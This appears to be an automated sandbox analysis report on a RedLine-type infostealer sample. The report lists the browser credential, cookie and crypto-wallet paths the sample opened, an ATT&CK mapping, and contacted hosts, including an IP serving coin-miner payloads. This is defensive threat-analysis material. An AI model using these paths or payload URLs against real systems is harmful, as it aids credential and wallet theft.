Source: powershell.exe, 0000001A.00000002.2313653824.00000000060D2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: # AutoUnlockKeyStored. Win32_EncryptableVolume::IsAutoUnlockKeyStored

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\v6zchhhv.default-release\cookies.sqlite	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extension Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\atomic\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\Cache\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\db\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ethereum\wallets\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File opened: C:\Users\user\AppData\Roaming\binance\	Jump to behavior

Source: Yara match	File source: 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3724, type: MEMORYSTR

Remote Access Functionality

Yara detected RedLine Stealer

Source: Yara match	File source: dump.pcap, type: PCAP
Source: Yara match	File source: 0.2.inject.exe.37f5570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.inject.exe.37f5570.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 3.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000002.2215892910.0000000000402000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.2055709662.00000000037F5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: inject.exe PID: 2452, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: RegAsm.exe PID: 3724, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	221 Windows Management Instrumentation	1 Scripting	1 DLL Side-Loading	1 Disable or Modify Tools	1 OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Web Service	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 Access Token Manipulation	11 Deobfuscate/Decode Files or Information	11 Input Capture	4 File and Directory Discovery	Remote Desktop Protocol	3 Data from Local System	34 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Command and Scripting Interpreter	1 Scheduled Task/Job	411 Process Injection	41 Obfuscated Files or Information	Security Account Manager	137 System Information Discovery	SMB/Windows Admin Shares	11 Input Capture	11 Encrypted Channel	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	1 Scheduled Task/Job	Login Hook	1 Scheduled Task/Job	1 Install Root Certificate	NTDS	461 Security Software Discovery	Distributed Component Object Model	Input Capture	3 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	1 PowerShell	Network Logon Script	Network Logon Script	2 Software Packing	LSA Secrets	1 Process Discovery	SSH	Keylogging	124 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 DLL Side-Loading	Cached Domain Credentials	241 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 Masquerading	DCSync	1 Application Window Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	241 Virtualization/Sandbox Evasion	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement
Network Topology	Malvertising	Exploit Public-Facing Application	Command and Scripting Interpreter	At	At	1 Access Token Manipulation	/etc/passwd and /etc/shadow	Network Sniffing	Direct Cloud VM Connections	Data Staged	Web Protocols	Exfiltration Over Symmetric Encrypted Non-C2 Protocol	Internal Defacement
IP Addresses	Compromise Infrastructure	Supply Chain Compromise	PowerShell	Cron	Cron	411 Process Injection	Network Sniffing	Network Service Discovery	Shared Webroot	Local Data Staging	File Transfer Protocols	Exfiltration Over Asymmetric Encrypted Non-C2 Protocol	External Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
inject.exe	76%	ReversingLabs	Win32.Trojan.Jalapeno

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\AppData\Local\Temp\main\extracted\Installer.exe	100%	Avira	TR/Dldr.Agent.vfpsy
C:\Users\user\AppData\Local\Temp\conhost.exe	100%	Avira	TR/Redcap.bgduw
C:\Users\user\AppData\Local\Temp\main\extracted\Installer.exe	100%	Joe Sandbox ML
C:\Users\user\AppData\Local\Temp\conhost.exe	83%	ReversingLabs	Win32.Coinminer.XMRig
C:\Users\user\AppData\Local\Temp\main\7z.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\7z.exe	0%	ReversingLabs
C:\Users\user\AppData\Local\Temp\main\extracted\Installer.exe	92%	ReversingLabs	Win32.Trojan.LummaStealer

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://nuget.org/nuget.exe	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	0%	URL Reputation	safe
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	0%	URL Reputation	safe
https://api.ip.sb/ip	0%	URL Reputation	safe
http://pesterbdd.com/images/Pester.png	0%	URL Reputation	safe
https://contoso.com/Icon	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing	0%	URL Reputation	safe
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	0%	URL Reputation	safe
http://schemas.xmlsoap.org/wsdl/	0%	URL Reputation	safe
http://ocsp.sectigo.com0	0%	URL Reputation	safe
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	0%	URL Reputation	safe
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	0%	URL Reputation	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
joxi.net	188.114.97.3	true	false	unknown
pastebin.com	104.20.3.235	true	true	unknown
api.ip.sb	unknown	unknown	true	unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://pastebin.com/raw/dq3hWX27	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-soap-message-security-1.0#Text	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://joxi.net/SettingsnsLMEM8	Installer.exe, 00000016.00000002.2283720664.0000000000E30000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/sct	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.cloudflare.com/learning/access-management/phishing-attack/	RegSvcs.exe, 00000017.00000002.2339213093.0000000003427000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/chrome_newtab	RegAsm.exe, 00000003.00000002.2228687416.000000000403B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/security/sc/dk	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	RegAsm.exe, 00000003.00000002.2228687416.000000000403B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://tempuri.org/Entity/Id23ResponseD	RegAsm.exe, 00000003.00000002.2216914083.00000000031BD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Entity/Id12Response	RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Entity/Id2Response	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/sc/dk/p_sha1	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Entity/Id21Response	RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/2005/02/trust/spnego#GSS_Wrap	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.1#SAMLID	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://147.45.47.81	RegAsm.exe, 00000003.00000002.2216914083.00000000031BD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/trust#BinarySecret	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/Issue	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Aborted	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/TerminateSequence	RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://nuget.org/nuget.exe	powershell.exe, 0000001A.00000002.2313653824.0000000005F87000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/fault	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Entity/Id15Response	RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.2339213093.00000000033F2000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000001A.00000002.2304314220.0000000004F21000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Renew	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/faultp9	RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/Register	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://crt.sectigo.com/SectigoPublicTimeStampingRootR46.p7c0#	RegAsm.exe, 00000003.00000002.2216914083.0000000003226000.00000004.00000800.00020000.00000000.sdmp, conhost.exe.3.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2004/04/trust/SymmetricKey	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.ip.sb/ip	inject.exe, 00000000.00000002.2055709662.00000000037F5000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2215892910.0000000000402000.00000040.00000400.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://pesterbdd.com/images/Pester.png	powershell.exe, 0000001A.00000002.2304314220.0000000005075000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://www.apache.org/licenses/LICENSE-2.0.html	powershell.exe, 0000001A.00000002.2304314220.0000000005075000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Entity/Id1ResponseD	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT/Cancel	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://contoso.com/Icon	powershell.exe, 0000001A.00000002.2313653824.0000000005F87000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	RegAsm.exe, 00000003.00000002.2228687416.000000000403B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://joxi.net/4Ak49WQH0GE3Nr.mp3r	Installer.exe, 00000016.00000002.2283720664.0000000000E02000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/CK/PSHA1	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Entity/Id24Response	RegAsm.exe, 00000003.00000002.2216914083.00000000030A8000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.2216914083.00000000031BD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.ecosia.org/newtab/	RegAsm.exe, 00000003.00000002.2228687416.000000000403B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/Pester/Pester	powershell.exe, 0000001A.00000002.2304314220.0000000005075000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/AckRequested	RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.cloudflare.com/5xx-error-landing	RegSvcs.exe, 00000017.00000002.2339213093.0000000003427000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.2339213093.0000000003423000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/tlsnego	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing	RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://crl.sectigo.com/SectigoPublicTimeStampingCAR36.crl0z	conhost.exe.3.dr	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000001A.00000002.2304314220.0000000005075000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RST/Issue	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContextResponse	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://pastebin.com	RegSvcs.exe, 00000017.00000002.2339213093.0000000003407000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Entity/Id5Response	RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/dns	RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Entity/Id10Response	RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Renew	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Entity/Id8Response	RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://147.45.47.81/WatchDog.exeAhttp://147.45.47.81/lolMiner.exe;http://147.45.47.81/xmrig.exe	Installer.exe, 00000016.00000002.2282337473.000000000031C000.00000004.00000001.01000000.0000000D.sdmp, Installer.exe, 00000016.00000003.2281553518.0000000003542000.00000040.00001000.00020000.00000000.sdmp, RegSvcs.exe, 00000017.00000002.2334616398.0000000000402000.00000020.00000400.00020000.00000000.sdmp	false		unknown
http://ocsp.sectigo.com0	RegAsm.exe, 00000003.00000002.2216914083.0000000003226000.00000004.00000800.00020000.00000000.sdmp, Installer.exe.20.dr, conhost.exe.3.dr	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/oasis-wss-saml-token-profile-1.0#SAMLAssertionID	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/SCT	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2006/02/addressingidentity	RegAsm.exe, 00000003.00000002.2216914083.00000000030A8000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/PublicKey	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Rollback	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Entity/Id3ResponseD	RegAsm.exe, 00000003.00000002.2216914083.00000000031BD000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RSTR/SCT	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/D	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/06/addressingex	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/Nonce	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequenceResponse	RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://147.45.47.81/WinRing0x64.sys	RegSvcs.exe, 00000017.00000002.2339213093.0000000003321000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://docs.oasis-open.org/wss/oasis-wss-kerberos-token-profile-1.1#GSS_Kerberosv5_AP_REQ1510	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Entity/Id13Response	RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-utility-1.0.xsd	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-x509-token-profile-1.0#X509SubjectKeyIdentif	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/10/wsat/Committed	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/CK/PSHA1	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://docs.oasis-open.org/wss/oasis-wss-soap-message-security-1.1#ThumbprintSHA1	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/right/possessproperty	RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/04/security/sc/sct	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/SequenceAcknowledgement	RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/RSTR/SCT	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	RegAsm.exe, 00000003.00000002.2228687416.000000000403B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous	RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://schemas.xmlsoap.org/2005/02/trust/tlsnego#TLS_Wrap	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2002/12/policy	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.ip.sb	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Entity/Id22Response	RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/04/security/trust/RST/Issue	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://147.45.47.81/lolMiner.exe	RegSvcs.exe, 00000017.00000002.2339213093.0000000003321000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2004/10/wscoor/CreateCoordinationContext	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/Issue	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://147.45.47.81/xmrig.exe	RegSvcs.exe, 00000017.00000002.2339213093.0000000003321000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/trust/spnego	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/sc	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Entity/Id18Response	RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://docs.oasis-open.org/wss/oasis-wss-wssecurity-secext-1.1.xsd	RegAsm.exe, 00000003.00000002.2216914083.00000000030AC000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://tempuri.org/Entity/Id3Response	RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/rm	RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/ws/2005/02/rm/CreateSequence	RegAsm.exe, 00000003.00000002.2216914083.0000000003001000.00000004.00000800.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
104.20.3.235	pastebin.com	United States	13335	CLOUDFLARENETUS	true
185.215.113.22	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
188.114.97.3	joxi.net	European Union	13335	CLOUDFLARENETUS	false
147.45.47.81	unknown	Russian Federation	2895	FREE-NET-ASFREEnetEU	false

General Information

